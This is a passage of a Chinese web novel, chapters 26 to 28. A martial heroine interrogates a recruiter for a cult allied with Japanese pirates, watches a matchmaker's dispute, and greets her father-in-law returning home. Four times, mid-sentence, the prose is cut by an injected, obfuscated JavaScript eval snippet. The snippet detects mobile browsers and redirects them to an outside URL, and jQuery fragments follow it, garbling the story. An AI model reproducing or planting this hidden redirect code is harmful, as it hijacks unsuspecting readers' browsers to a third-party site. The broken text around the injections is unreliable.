“这都不知道，哎呦小兄弟，你怕不是乡下来的吧？” 乡下？ 也怪不得他会有如此想法，这几年乡下的造反团体如雨后春笋般逐个冒头，虽然说对于朝廷越发不满，但在外患当前，他们还是一致对外的。 也许噬野教一开始没想放弃乡下这群广泛的人口，可奈何威逼利诱均没有效，所以这两年纵然他们大力吸纳大曜的百姓入伙，但乡下这边仍是片空白区。 见她并未否认，男子无奈地耸了耸肩，继续神秘兮兮地说道。 “当前帝王昏庸无道，这饥荒疫病就是老天爷布下的惩罚，你看他请罪也请了，可到最后又有什么用？如今这情况，咱们老百姓想要过得好，内斗是没有好下场的，就得向外求。” 他说得义愤填膺，莲心面上不显，心里却是冷笑不止。 说来说去，还不是要给自己通敌叛国找理由。帝王昏庸不假，可这群人见利忘义帮助倭人残害同胞，哪里又能算得上正义？ 她没有反驳，而是冷冷看着他，等着他继续说下去。 那人越说越起劲，托着转盘的手都在微微发抖，脸颊的褶子纵横交错，一瞬间让莲心想起了家乡池边的沟渠，遍布污秽而自己却半点不觉。 “你别看我这副模样，但我也是苍天选派的改命之人”，说到这里，他拍了拍自己干瘦的胸膛，声音中不无得意。 “你可别小瞧咱们噬野教，那可不是谁都收的，今天是看你有缘”，那人又托着转盘回归了正题，“喏，十六分之一的机率，中了那就是逆天改命，往后荣华富贵少不了。” 咱们？莲心想你这话未免太过自信了，我可从没说要加入你们。 想归想，她还是循循善诱地继续问道。 “你说的天花乱坠，可我还不知这跟找乐子有什么关系。况且就算我碰巧中了那十六分之一的机率，跟着你们投敌叛国最后又能落得什么好处？” 被她这么一问，那人怔了怔，显然没有想到会被这么问，其实就算他不说莲心也看得出，他刚入行不久，充其量就处在最底端，负责忽悠人入伙。 就这样凝滞片刻后，那人忽然双目一紧，眼中闪过了尖锐的凶光，“你是不是知道些什么？” 莲心在不动声色的试探，他这边显然也没有闲着，虽说始终觉得这个看上去清秀异常的少年有些不太对劲，但出于广撒网的心里，他还是耐着性子解释了一通。 一切看似有条不紊地进行，直到他听见那“通敌叛国”四个字，心中的警钟登时大作，浑身都毛孔都收缩起来。 别看他加入组织不过两个月，可在这附近大大小小也招揽了上百人，每天打照面的人比教书先生都要多上不少。 寻常人到这来不过就是找乐子，而他的目标也很明确，就是那群有点抱负又怀才不遇的书生，这群人有想法又疾世愤俗，很容易被这些噱头所吸引。 起初是中了概率入伙，然后也会时不时尝上点甜头，比如倭人那边抢掠过后剩下的饰品金银，也会在逢年过节意思性地下发一些，久而久之也就笼络了大部分。 “兄台这是哪里话，我正因为不知道才会询问你啊。” 电光火石间，莲心迅速抬肘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15232415|164961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打在他的手腕，顺势接住那把雪亮的弯刀，随即一记侧踢，在他弯腰捧腹的时候，将他双手反剪压在墙上。 那人自是奋力挣扎，就在这时楼梯下传来两声笑语，莲心知道是有人上来，赶忙压着那人往走廊深处去。 终于在尽头找到一间无人的空房，于是莲心便推着那人进了屋，又重新关好了房门才继续审问。 也就是这样，阴差阳错间，先陆时礼他们一步离开。 就在他们小心寻人的时候，莲心这边也有了不小的进展。 据这个自称是老六的人所说，整个江洲城像他这样专门负责介绍别人入伙的有不下百人，地点基本都是这样的戏院酒楼，目标也大多是二三十岁的青壮年。 “你为何要入伙，倭人的残忍有目共睹，即使真的改朝换代，又怎能相信他们不会继续将屠刀对着我们呢？” 听到莲心这样问，老六先是一愣，随即摇头苦笑，声音中尽是无奈与沧桑。 一看你就不是出自寻常人家，别说我们了，就是那些书生现在想的也只是吃顿饱饭，而不是那什么知乎者也。这又是饥荒又是瘟疫的，都是有今天没明天的日子。” 他长叹一声，“说白了，只要能吃饱穿暖，别说倭人，就是恶鬼咱们也是不怕的。” 言下之意便是，不是我们不爱国，实在是被逼无奈，跟着倭人就为填饱肚子，哪怕那是同胞们的血肉，为了活命，也只能强忍着往下咽。 “我不是什么达官显贵，出身于普通的镖局，不出意外可能会像父亲那样，成为守信守义的一方镖师。” 见莲心沉默没有开口，老六还以为是被自己戳中，乍听她突然开口，脸上嘲讽的神情还没有收回，却见她微红双目，只得有些错愕的张了张嘴。 “其实我会这么排斥，主要是因为与倭人隔着血海深仇”，莲心深吸一口气，“我的父母和从前的街坊邻居，都在不久前死在那些弯刀之下。” 不久前，倭人？ 老六瞳孔一阵，颤颤巍巍地问出口，“莫非，你是从淮州……？” “是”，莲心点了点头。 老六立马紧张起来，浑身止不住得发着抖，“我们就是拉，拉人入伙，别的，什么都没参与……” “我知道，您也不用害怕”，莲心将那把弯刀递了回去，又走回门边将门拉开了一条缝，“除了这道门咱俩对外就当没见过。” 见老六面如菜色地握着刀，莲心又笑笑补充，“都是为了生计，我不支持但也理解，只是若日后您再遇到拉您入伙的那人，方便的话可以去徐记镖局找我，知会我一声。” 老六不过身处底层，莲心心中也清楚，也就只能问出这么多，这样都算是有重大收获了。 再又确认他曾在半月前见过老富后，莲心就将他又送了出去。 走廊上并没有人，隔着房门隐隐能听到里面嬉戏打闹的声音，远远看见对面离这两道人影，看身形应该是陆时礼他俩。 突然，老六猛地回头，冲着莲心点了点头，才快步消失在了人群之中。 她知道，那是在答应她的请求。 26. 时安 与陆时礼回合后，两人也没多做停留，便从风月阁离开了。 临走的时候，莲心总觉得后背一阵寒凉，如芒在背的感觉一直持续到下了大半台阶还是没有消散。 可当她转头去看，却只见到瑶锦怀抱琵琶，笑意盈盈地望着她。 越过二层的几道人影，将视线投得更远，隐约间依稀看到间半掩的窗子，其上晃过道手影，但只在须臾之间。 莲心一眨眼的功夫，那窗子已经被严严实实关好了，灯火将其中朦胧的舞影映在窗上，好似那一闪而过的冰凉目光仅仅是莲心的错觉。 “看什么呢？”见她一步三回头的模样，陆时礼有些担忧。 莲心收回了视线，对前面的陆时礼摇了摇头，“没什么，应该是我太草木皆兵了。” 于是乎，两人就这么一前一后出了门，走在了人来人往的主街之上。 “这组织深浅莫测，万事还需要多加小心，切莫独自行动。”听莲心简单讲述了一下与老六交谈的内容，陆时礼沉吟着嘱咐。 此事确实牵连甚广，不是一朝一夕或者一个人就能探寻的了的，莲心也点了点头，道，“我清楚，若他那边来了消息，我们商量完小心行事。” 突然，岔路口上驶过辆赶货的马车，车夫低头喝水一时不察，差点与迎面而来的夫人相撞，还是莲心眼疾手快，一个石子打在马的前腿让它偏了几寸，这才没有酿成大祸。 “哎呦，你那眼睛是瞎了吗，连个马车都看不住？” 险些被撞的妇人穿红戴绿，金钗银器插了满头，更显得那张扁平圆脸浓妆艳抹，整个人有着头重脚轻的不协调之感。 车夫显然也是吓个不清，急急忙忙下车道歉，然而那妇人显然并未解气，还没等他开口，血红的嘴唇就一开一合，连珠炮般继续责骂。 “睁大你的狗眼好好瞧瞧，这都是南洋那边顶尖的珠宝，损坏了一个你赔得起吗你？” 说罢这妇人暂时歇了骂战，心有余悸地蹲在街边，将那三个小木盒逐一打开，仔仔细细瞧了一番后确认没事，这才咽了咽口水，准备起身继续骂。 街上有和马夫相熟的，见事态不严重，也走上前来笑着想要帮忙打个圆场。 “钱媒婆，你看人和东西都没有事，骂也骂了也赔不是了，要不这事就这么着吧？” “就是，老马也都是老街坊了，再说他也不是故意的，得饶人处且饶人嘛！” “那可不，你干这保媒拉线的活计少不了积德行善。外面风怪凉的，别在这蹲着了，回家对着光好好欣赏你那南洋来的新鲜货吧！” 有一就有二，不大会儿的功夫，上来帮忙求情的人一拥而上，眼看着将钱媒婆层层围住，街两旁被围了个水泄不通。 “得得得，用不着你们给我扣高帽”，钱媒婆站起身抻了抻衣摆，白了马夫一眼，不情不愿地提起箱子扭过了身。 “看在今天接了个大喜事的份上，老娘心情好，不跟你这穷鬼计较。往后车来车往都小心着点，伤着我一根汗毛，你们这辈子都赔不起！” 此言一出周围看热闹的人群来了兴趣，都窃窃私语起来，除了急忙赶车离去的马夫以外，仍留在原地挡住了钱媒婆的去路。 “哎——什么喜事？也跟大家伙说说沾沾喜气”，见钱媒婆扭动粗腰几欲离去，几个平日里相熟的妇人赶忙一左一右拉住她。 显然钱媒婆很享受这种众星捧月的感觉，成为焦点的她故作姿态地顺了把鬓间梳得油光水滑的黑发，清了清嗓子开口说道。 “城东最大绸缎庄的千金孙小姐都知道吧？”她故作神秘地一笑，“这些珍贵玩意儿就是方才孙家老爷赠的，为的是孙小姐亲自托我帮忙保一桩媒！” 城东的孙氏绸缎庄？ 莲心偏头去看身侧的陆时礼，只见他点了点头，心下了然，想必这位千金孙小姐就是他那位同窗孙怀砚的小妹了。 大曜民风不算开放，除了公主郡主，民间女子婚事大多依循父母之命，别说主动请媒婆保媒，就是婚前想见未婚夫婿一面都是极难的。 而江洲作为江南礼仪之邦，更是恪守礼仪，因此虽素未谋面，莲心却莫名对这位孙小姐生出几分好奇，不论如何，至少她这份敢于争取的心是难得的。 可像她这样想的毕竟还是极少数，果然人群中传出了质疑声。 “我说钱媒婆，你这话听着怎么不靠谱呢？” “就是，孙家怎么着也算江洲城的首富，整日上门提亲的都排不过来，哪轮得到用这些珍宝托你給人家小姐保媒？” “再者说托媒都是男方的事，哪里会有姑娘家家托媒婆把自己嫁出去的道理。你不说就不说，弄这些来糊弄我们做什么？” “行了，保不保媒也跟咱们没关，人家有钱人的折腾，咱们有这顿没下顿的跟着凑什么热闹。赶紧回去该干啥干啥吧！” 周围的人一哄而散，钱媒婆也没有阻拦，仍旧紧紧提着那三个木盒，唇畔勾起嘲讽的笑。 “哼，一帮嘴巴臭又眼皮子浅的穷鬼”，低头淬了一口后，她终于才解气地吸了口气，一回身就瞧见还在原地的莲心，一时间有些惊诧。 “怎么着，热闹还没看够？” 于是，陆时礼拿着刚买的蟹黄灌汤包回来，看见的就是神情错愕的莲心，以及钱媒婆那气哄哄离去的臃肿身影。 “喏，刚出锅的灌汤包”，将包子递过去，陆时礼笑着问，“怎么，被无差别攻击了？” 新鲜出炉的包子还冒着热气，咬开外面薄薄的一层透明外皮，内里鲜香的蟹黄汁水汩汩流出，直鲜得人差点咬到舌头。 莲心将汁水小心地吸到嘴里，微眯起眼睛含混着开口，“小事，谁让我愿意看热闹了。” 一路吃吃喝喝，转眼之间，两人便到了陆府门口。 两人在门口兵分两路，陆时礼和往常一样走正门，而莲心还是绕到后院，从院墙上一翻而过进入南院。 事实证明，走后门果真还是省时省力，最重要的是，还免去跟一干人等打照面。 然而今天的陆府，上上下下却没有半个人影，不是都被遣散了，是都在主厅内听陆夫人训话。 据后来在南院门口碰见的桃华所说，陆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15253028|164961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夫人突然将他们进行驯化，是因为陆大人就快要回来了。 当然，除此之外，一同回来的还有陆夫人的亲生儿子，也就是陆家二公子——陆时安。 不知道陆大人取名字时候，是否给予了平安、安稳的用意，虽不知前者能否如愿，但后一个想必是决计达不到了。 陆时安人不如其名，是江洲城里有名的混世魔王。 吃喝玩乐样样精通，打架斗殴均有参与，经史子集背不了几篇，但时兴的歌舞乐曲却全都信手捏来。 因着之前的春闱名落孙山，陆夫人为了杀杀他的心性，很是费了一番苦心。 没成想他本人反倒破罐子破摔，不仅干脆摆明了罢学的立场，还整日和流连于各大商铺之间，大有弃文从商之意。 不仅如此，他还偷偷拿出家中的存钱，往大大小小的戏院酒楼投了不少钱，据说就连如今最为闻名的风月喽，也与他关系匪浅呢。 得知此事的陆大人自是怒不可遏，又赶上连年饥荒瘟疫，天子下令入京述职，于是心一横，便带着这个不成器的儿子上了路。 一晃大半年过去，局势稍有稳定，陆大人他们便可以返乡过节，而不管历练如何，陆时安也只得搁置下京城的乱花渐欲，同父亲一道踏上归家的马车。 谈到这个话题的时候，陆时礼神情淡淡，并没有与父亲久别团聚的喜悦，但也同样没有因为与自己不合的弟弟即将相见的排斥。 “对了，那你现在是不是可以不用再装病了？” 生病遭罪，但装病也并不轻松，把自己化的面无血色不说，整日时不时的咳嗽也不是件容易事。 陆时礼笑着拍了拍她的手，点了点头。 “病可以先不装了，但这身体还是得继续虚弱下去。” “啊？”莲心诧异地张大嘴巴，“你不会又要想什么歪点子了吧？” 莲心直率惯了，哪怕看着陆时礼装病，她都有些不自在，总觉着怪怪的。 “也没什么”，见莲心满脸无奈，陆时礼勾手轻弹了一下她的额头，柔声道，“演戏也得演全套，那么久的顽疾说好就全好了，难免会惹人 怀疑。” 虽然他这么解释，但莲心觉得，背后的理由肯定没有这么简单。 “知无不言可是你先提出来的，我警告你，别老想瞒着我！” 把她的底细摸得清清楚楚，自己这边却仍是云里雾里，莲心觉着对于他这种不厚道的行为，自己有必要进行一次严肃认真的提醒。 “好，那娘子想具体知道什么”，陆时礼俯身凑近，借着莹莹的烛光，莲心甚至可以看清那白皙面容上细小的容貌。 太近了，近到两个急促的呼吸声交织缠绕，彼此分不清是谁乱了心神，心跳如鼓，抑或是两者皆是。 “没……没什么，我困了，赶紧熄灯睡觉吧！” 突然熄灭的烛火召来了黑暗，莲心裹在被子里，看着窗那边瘦削的背影，轻呼出口气，慢慢闭上了双眼。 她总觉着，陆时礼还有些事，没有告诉她。 而那事情，很可能极为凶险。 27. 说媒 腊月二十二，家家户户张灯结彩，江州城里一派喜气洋洋之色。 作为城中当之无愧的大户，陆家自然也铺排了极大的排场，小到门口的一根廊柱，大到门窗院墙，都“披红挂绿”，整个焕然一新。 灾荒当道，瘟疫横行，能够因过年就如此铺张准备的，除了一方巨富，也就是权贵之家了。 “夫人，钱媒婆来了，说是有一桩喜事想要说与您。” 桃华从一众抬箱挂彩的小厮中走过，步态语气不疾不徐，虽然穿了件桃红绣金海棠的小袄，但确如鬓间独独耸立的金步摇一般，雍容且孤傲。 陆夫人原本正笑吟吟地欣赏少女摇曳的身姿，闻言眉头骤然拧在一起，有些烦躁地按了按太阳穴，“她来干什么？” 其实不问也知道，媒婆登门也不能做什么，无非就是保媒拉线罢了，只不过若是陆夫人没有请她保媒，那此次应当就是替人说媒了。 替人说媒？ 想到这，莲心突然灵光一闪，前些日子在街上与钱媒婆相遇的情景重新浮现在眼前，那时候她说孙小姐请她说一桩媒，莫非……？ 不过想到归想到，看着眼下这种氛围，莲心决计是不会把这件事主动说出来的。 最近一段时间，因着陆时礼病情转好又重新去了学苑，帮着操办府中装潢的事务就落在了莲心的身上，从墙面粉刷到灯笼摆挂，样样都需要她来把关。 不过这些都是小事，毕竟从前在家的时候莲心也忙着镖局跑前跑后，帮着处理些琐碎事务并不是问题，但陆夫人显然没有打算就这样放过她。 除了帮着张罗事务以外，她还要一日三次晨昏定省，简单来说除了跑前跑后出力之外，空余时间也要乖顺地坐在陆夫人面前，听她各种阴阳怪气。 这不，今天一大早她都没顾得上练功，就到前院和匠人研讨新置办的假山，这时候陆夫人又把她叫了过去，美其名曰慰问。 可实际上，无非是明里暗里提醒她要摆正好身份，日后若是陆时礼金榜题名，她这个出身自是做不了正妻的。 说来说去，不过还是宅里院中那套，想要她乖顺听话，主动归顺于陆夫人名下，做个大门不出二门不迈只知道勾心斗角争宠的女子。 “夫人……”，见陆夫人沉着脸不做声，桃华静默片刻，上前轻声唤道。 被她这么一叫，陆夫人这才重新抬起头，眼中满是不加掩饰的厌恶，不耐地挥了挥手，“今日不见明日也得再来，算了，让她进来。” 桃华点头领命，步履舒展地袅袅到大门领人，坐在椅子上的莲心觉得气氛越来越不好，犹豫着想要站起身告辞。 却没成想陆夫人虽然心中郁闷，但也留意到了她的这点小心思，用力重重搁下茶杯，沉声喝道。 “整日里忙来忙去办不成一点正经事，不在这坐着又要去哪胡闹！” 言罢又觉不够，见莲心仍是乖顺低头聆听的模样，陆夫人又是一股邪火上头，恨铁不成钢地继续责备。 “这是捅了什么霉运窝子，一个不够，小门小户都接二连三巴巴往过贴”，见莲心抿唇不语，她深吸一口气。 “还有你，这么长时间还改不掉江湖上那套，别以为翻墙出去跟那些镖局里的汉子鬼混我不知道。我警告你，往后你就给我老老实实恪守本分，少出去丢陆家的脸！” 她骂完心情有所舒缓，一旁的嬷嬷眼尖瞧见那清丽少女抬起双眼，狡黠地眨了眨眼，顿时心叫不好，果然，莲心也没让她失望。 “您是长辈，按理说您怎么教训莲心作为晚辈都该虚心接受。我确实经常翻墙出去，这您批评的是，我往后也会改。” 陆夫人微微缓和了脸色，嬷嬷也暗自松了口气，只当是自己多想了，却听莲心话锋一转。 “不过有一点我思来想去还是应该矫正您一下，家父生前曾与江州不少镖师结拜兄弟，我去拜访一是出自礼数，二来也是为了重振镖局作准备。至于您所说的‘鬼混’二字，实属是无稽之谈。” 一听这话，陆夫人一下就变了脸色，殷红的指甲紧紧握住四方椅的扶手，恨不得将其抠出一个洞来。 “不在家里恪守妇道，整日里出去抛头露面，你还有理了？说你两句还敢顶撞，信不信我明日就作主休了你！” 休妻可并非一件小事，必须要有“七出”中的一项以上错处，饶是知晓只是陆夫人的一时气话，周围的丫鬟小厮也都噤声屏息，唯独除了座上的莲心。 这段时日与陆时礼有了情意是真，但自由也同样重要，她无法自断双翼将自己囚禁于此，也放不下国仇家恨守于后宅，这一点上无论如何，她都绝不能让步。 “哎呦，少夫人也在，真是热闹啊！” 就在这时，桃华牵引着穿红戴绿的钱媒婆进了主厅，还没落座，这位体态臃肿的妇人便自来熟地问起好来。 陆夫人嫌弃地瞥了她一眼，手指无意识地又捻起腕间的念珠，不耐道，“瞧你这满面红光的，几次三番地不请自来，究竟有何贵干？” 这话换是一般人听了，肯定会感到羞愧难堪，但钱媒婆就不是那一般的人，而是江州城里数一数二的“厚脸皮”。 她打哈哈的本事，只怕连舌战群儒的辩士来了，都能旗鼓相当地与之战上百十个回合，更别提眼前的陆夫人了。 “瞧您说的，我能有什么喜事，还不是要给您送喜”，果不其然钱媒婆不仅没有感到尴尬，反而更堆叠起了笑，一边说一边还不忘往前倾身。 不止是莲心，想必陆夫人虽不能确定，但肯定有了不太好的预感，只听她轻咳一声问道，“哦？不知喜从何来啊？” 不得不承认，钱媒婆的心态真是一等一的好，眼下这种虎视眈眈的氛围，她还能泰然自若地维持微笑，连语气也比刚才更为喜气洋洋。 “我这次来啊，是受东城绸缎庄孙掌柜所托，为的是帮他家孙小姐和您家公子促成一段姻缘！” 此言一出，周围顿时炸开了锅，忙着张灯挂彩的小厮悄悄停下手头的活计，同旁边假装擦拭廊柱的丫鬟一样，都低着头窃窃私语起来。 但此刻的陆夫人已经没心思去管他们，她的全部注意都被钱媒婆方才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15265122|164961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的话所吸引，攥紧了手中的念珠，声音之中满是冰凉。 “嘉文刚娶妻不久，往后就算再娶，依着身份地位，怎么也断不会再纳商户进门，就算要抬也得是二品以上的高门贵女。” 这一番慷慨激昂的话过后，感受到周围的目光齐刷刷投来，其中夹杂着尽是不加掩饰的怜悯，莲心不置可否地挑了下眉。 心道，不好意思，如果没猜错的话，这次的主角应该是您的亲生儿子。 果然，下一秒就见钱媒婆摆了摆那双粗短的手，铺满妆粉的脸笑得那叫一个春光灿烂。 “不是大公子，孙家那边中意的，是您家的二少爷！” 殊不知她的这番话，更是严严实实戳在了陆夫人的心管子上，一口气没上来，便抚着胸口猛烈地咳嗽起来。 身后的嬷嬷赶忙递过温茶，陆夫人结果后抿了一口，凌厉的眼中满是怒火，指着钱媒婆呵斥道。 “谁给你的狗胆，还大言不惭说是件喜事，我陆家何等门第，何时轮到一个商户之女来高攀？” 那钱媒婆也不是吃素的，见陆夫人半点情面不讲就破口大骂，也不甘示弱地放了狠话。 “呦，这都什么时候了还抱着你那门第之见呢？到了这份儿上我也就直说了，现在这世道都是有今天没明天，越是高门大户打起仗来也越先遭殃。” 她慢条斯理地用帕子擦了擦被陆夫人用茶泼到的衣袖，略带嘲讽地一笑。 “我在江州大小也是个人物，背后也不是没有人，你既如此，那我就说句实话。就您家那二公子，也就是孙小姐因着从前的情意非嫁不可，要不孙家怎么会巴巴重金托我来保媒？” 陆夫人早已是目眦欲裂，猩红着双眼嘶吼道，“滚，赶紧给我滚出去！” “用不着您来轰，我也是要走的”，钱媒婆慢悠悠站起了身，走出两步又回头轻笑一声。 “您家大业大，我也晓得自己不便登门。只盼等二公子回来，您不要为今日的所作所为后悔才是。” 这句话更使得陆夫人愤怒到了极点，她不顾旁人的劝阻，拿起茶杯狠狠掷了过去，在钱媒婆绿油油的裙边砸了个粉碎。 饶是心中再愤怒，钱媒婆也不敢再过顶撞，小心地迈过碎瓷片后，就紧赶慢赶地离开了。 直到人都走了一会儿，陆夫人还是余怒未消，见莲心还坐在原处，就又朝她开始撒气。 “看什么看，整日里半点忙都帮不上，赶紧回那晦气的院子去，别在我眼前惹眼！” 莲心对此早已习惯，只当这些话是鸟语花香，恭敬起身行了一礼，然后和对面的桃华悄悄对视一眼，也迈开步子往南院去。 往回走的路上，她隐隐盼望时间过得再快些，比起在府中当出气筒，她还是更想早些随陆时礼到京城去。 不仅是陪他赶考顺便欣赏京城风光，更重要的是去接上差点断掉的线索。 因为就在两日前，老六到镖局寻她，说引他入伙的那人，前几日被发现出没的所在正是京城，朱雀街。 而那人竟摇身一变，成了名巡街的捕快！ 28. 陆珺 夜以继日的忙忙碌碌中，终于迎来了腊月里的最后一天。 一大早，穿戴整齐的莲心往嘴里塞了块芝麻酥，看着躺在竹椅里悠哉悠哉看书的陆时礼，仰头无奈地长叹一声。 “实在不想去要不就不去了，反正也没几天就要走了”，陆时礼放下书卷柔声安慰，“等那边来人就说我又发病了，咱俩就在小院过年也乐得清静。” 这其实算得上个不错的提议，只不过…… 即使隔了大半个院子，上等横纹马车的车轮声清晰可见，都不用再去看，一定是陆大人他们一行了回来了。 果不其然，下一秒南院门口的早已干枯不成样子的藤萝下站了个小厮，手中费力地提着个木桶，还不忘扯开嗓子呼唤两人出去。 “大少爷，少夫人，老爷他们回来了，夫人请您二位抓紧时间到主厅来！” 说完他也不多停留，提着刚拖洗地面的污水，三步并作两步地又回去干活了。 “走吧”，莲心走过去将他怀中的书卷放在案上，毫不费力地将他拉起，笑着道，“再怎么说也是血浓于水的亲人，人多正好也热闹些。” 看着她那几乎隐藏不住的狡黠笑容，陆时礼也跟着扯起嘴角，抬指轻点了下她挺俏的鼻尖，“我怎么感觉你对看热闹一事挺有信心呢，说吧，藏什么鬼点子了？” “你这就是以小人之心度君子之腹了，我能有什么鬼点子啊！” 莲心自然不服，故弄玄虚地伸出根素白的手指晃了晃，“过年自然是要热闹的，至于还有没有什么热闹，那就得看情况喽！” 说笑间两人已经穿过清雅的小径，就在通向主厅的廊亭旁，看到了人群中一袭绯红官袍的陆大人，以及他身旁松松散散站立的陆时安。 “爹，一路舟车，想必定是辛苦了吧？” 与先前所想的不同，陆大人虽年过四旬但一双凤目清亮坦然，瘦削的面容上蓄了须，绯红的官袍在风中勾勒出了挺拔清瘦的身形。 不论私下作风如何，但穿上这身官袍，任谁都要称一声文人风骨，风华无双。 饶是被岁月浸染了风霜，但不难见得年轻时的龙璋风姿，可比起这些，更让人难以忽视的，是他周身散发的那种气场。 既有书香里积淀的清雅温润，同时也带着身居高位的威严庄重，投来的目光不似打量，但就会让莲心莫名感到紧张。 她在心中暗暗想，陆时礼的一副好资容果真很大程度上来源于基因的影响，只是她有些好奇，不知道等他考取功名后会是什么样子。 也许……不会这么威严，但身着官服走马游街，想必定是十分精神的。 见他们来，陆大人才好不容易从花红柳绿的各房夫人间走出，先笑着拍了拍陆时礼的肩膀，面容虽有些车马劳累的倦色，但语气仍饱含欣喜。 “前段日子听你母亲来信说又病了，看你脸色尚算和缓，可是好些了？” “有劳父亲挂念，已经好多了”，陆时礼唇畔挂着淡淡的笑，借着行礼的动作，不动声色地避开了陆大人再次伸过来的手。 对于他的抵触陆大人显然见怪不怪，轻“嗯”了一声，随即扭过头，看到了跟在身后的莲心，有些疑惑，“这位是……？” 一众花红柳绿之中，唯有莲心同陆时礼均是一袭紫衣，绸缎是孙怀砚前些时候送过来的，水光般滑亮的料子上，挑染出朵朵盛放的芙蕖，寓有“好运连连”之意。 “是儿子半年前刚过门的媳妇，苏莲心。莲心，还不见过父亲？” 其实无需多问，光凭两人相似的衣着，陆大人便猜了个大概，只是一时有些难以置信，因此听到陆时礼的肯定也没太吃惊。 这时莲心也上前几步，对陆大人和他身侧的陆夫人福了一礼，“媳妇莲心见过父亲母亲，祝您二老新春大吉，身体康健。” “前些日子嘉文病情严重，我就病急乱投医想到了冲喜这个法子，没成想还真奏了效，把人活活给救了回来。” 见陆大人并未因未被告知而神色有异，陆夫人也松了口气，遂又笑吟吟地看着莲心，道。 “别看这小丫头生得水灵灵的，可还有一身的好武艺。与咱家也更是颇为有缘，她父亲就是淮州的那个苏镖师呢！” 这下陆大人终于正视了过去，上上下下打量了莲心一番，声音也更加柔和了些，“是一个人过来的？” “是和幼弟莲生一道来的”，莲心声音很轻，但仍能听出在微微发抖。 “当日倭寇屠城，家父家母死战到底，我和莲生藏在池底留下条命，便带着信物前来投奔，幸得母亲庇佑才得以有今日。” 这话说完，她微微抬眼，陆夫人言笑晏晏目光中隐隐含着满意，而陆大人也长叹一声，眼眶泛起了红。 “难为你了，快起来吧”，陆大人揽着陆夫人的肩膀，“苏兄曾于我有救命之恩，若非他仗义相救我只怕早已葬于海寇之手。世事无常，你也千万要向前看才是啊。” 陆夫人抬起殷红的手指，轻轻拍了拍丈夫的手背，柔声安慰道，“是啊，如今莲心成了咱们的儿媳，她弟弟也在最好的学堂读书。想必苏家兄嫂在天之灵，也能聊以慰藉了。” “也只能如此了”，陆大人深深看了大儿子一眼，低声嘱咐，“莲心突逢灾祸又于咱家有恩，往后无论如何都要好好待人家，莫要违背信义。” 听他这样说，陆时礼微微点了点头，不置可否地“嗯”了一声，但仍站在离莲心半米远的位置，维持着不远不近的距离。 陆夫人见缝插针埋怨道，“幸好您回来了，嘉文这孩子一直都跟人家不冷不热的，我再怎么管也都是隔了一层，往后还得您多提点提点他才是。” “这就是你的不是了”，陆大人嗔怪地看了大儿子一眼，“感情之事虽不能勉强，但已经成了亲便不能由着性子胡来，该做的不该做的心里也要有个数！” 就在这时，一直靠着梁柱打盹儿的陆时安来了精神，大踏步穿过人群，边走还不忘给自己喊冤。 “爹，娘，你们这也太偏心了吧！大哥不声不响就娶了妻，我这儿求了快两年你们还不给个准话，我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15283671|164961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是你们亲儿子吗？” 场面一度变得混乱起来，周围的丫鬟小厮都识趣地往边上退，都知道这位混世魔王又要出幺蛾子了。 陆夫人自不必说，面上难掩怒意却又无可奈何，精心描画的妆容因愤怒而扭曲起来，就连沉稳如陆大人，都面色不耐地深吸口气。 但饶是如此，莲心还是眼尖地捕捉到，在听到陆时礼与她关系淡漠时，陆大人垂在官袍的双拳微微松开，就连现在表情中的不耐，很大程度上都是为了掩盖情绪。 而他想要掩盖的，或许就是方才微不可察的轻呼口气，这样的状态莲心在自己的父亲身上多次见过，所以一眼便能看出。 呼气，松拳，是紧张心情之后的松弛。 不过，分明话里话外对她怜惜有加的陆大人，为什么会因为陆时礼与她关系不好而长舒口气呢？ 也许陆家并没有想象中那么简单，莫非陆大人这边有什么莲心不该知道的隐秘，抑或是和陆夫人一样，同倭人那边有着什么千丝万缕的联系？ 各种思绪缠在心头，可显然眼下不是思索这些的时候，因为莲心之前所说的一场闹剧已经开始了。 “每次我一说你们就让我等考中之后，现在大哥也没考呢你们也让他娶了，我不管，今年一定得给我个说法！” 